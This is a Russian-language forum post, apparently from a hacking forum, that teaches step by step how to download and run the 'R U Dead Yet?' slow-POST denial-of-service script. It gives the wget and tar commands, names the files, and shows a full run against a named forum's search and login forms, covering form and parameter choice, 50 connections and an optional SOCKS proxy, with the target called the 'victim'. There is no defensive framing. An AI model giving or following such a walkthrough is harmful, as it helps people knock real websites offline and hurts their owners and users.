R U Dead Yet? pt.1

[CepbIu]

Приветствую!
По просьбе одного формуровчанина(да и обещал), расскажу как правильно пользоваться скриптом "R U Dead Yet?"
или по простому rudy.
Для его использования нам понадобится python версии 2.6(установленную у вас версию можно проверить командой python -V) и собственно всё.

Для начала нам нужно скачать сам скрипт, делается это вот так:
в терминале по очереди набираем

wget http://www.hybridsec.com/tools/rudy/R-U-Dead-Yet-v2.1.tar.gz

и

tar xvfz R-U-Dead-Yet-v2.1.tar.gz

и вот мы скачали и распаковали из архива сам скрипт.

Сам руди состоит из 5 файлов, вот их список:

BeautifulSoup.py
README.txt
rudeadyet.conf
r-u-d-y.py
socks.py

Расскажу зачем некоторые из них нужны:
- README.txt - думаю всем понятно что это инструкция;
- rudeadyet.conf - это файл конфигурации;
- r-u-d-y.py - это сам руди, нам его и надо будет запускать;

Теперь попробуем запустить руди, делается это вот так:

python r-u-d-y.py url

где url это адрес сайта жертвы. Сразу скажу что руди, может положить только тот сайт, на котором на одной из страниц есть кнопка "Submit", те отправка каких либо данных на сервер(форма обратной связи\заказа, поиск и тд).
Например, если выполнить:

python r-u-d-y.py https://ns-wp.ws/forum/

руди выдаст следующее:

Found 2 forms to submit. Please select number of form to use:

1 ) https://ns-wp.wsindex.php?phpsessid=7d08e3e868496d2853566b01d166652f&action=search2
2 ) https://ns-wp.wsindex.php?phpsessid=7d08e3e868496d2853566b01d166652f&action=login2

и попросит нас выбрать какую из форм использовать.

После того как мы выбрали вариант(достаточно ввести нужную цифру и нажать ввод), руди предложит нам выбрать передаваемый параметр для атаки:

Found 2 parameters to attack. Please select number of parameter to use:

1 ) search
2 ) advanced

Так же как и раньше нужно выбрать вариант, далее нужно указать сколько потоков использовать для атаки:

Number of connections to spawn: (default=50)

После того как мы выбрали нужное кол-во потоков, руди нас спросит использовать socks или нет:

Use SOCKS proxy? [yes/no] (Default=no)

если мы выбрали no(просто нажали ввод), то сразу же начнётся атака.

Вот собственно и всё(=
Во второй части я расскажу зачем нужен файл конфигурации(rudeadyet.conf) и как его использовать.


P.S. пользуйте LINUX


Вынос стать карается АНАЛЬНО(!!!)
Автор CepbIu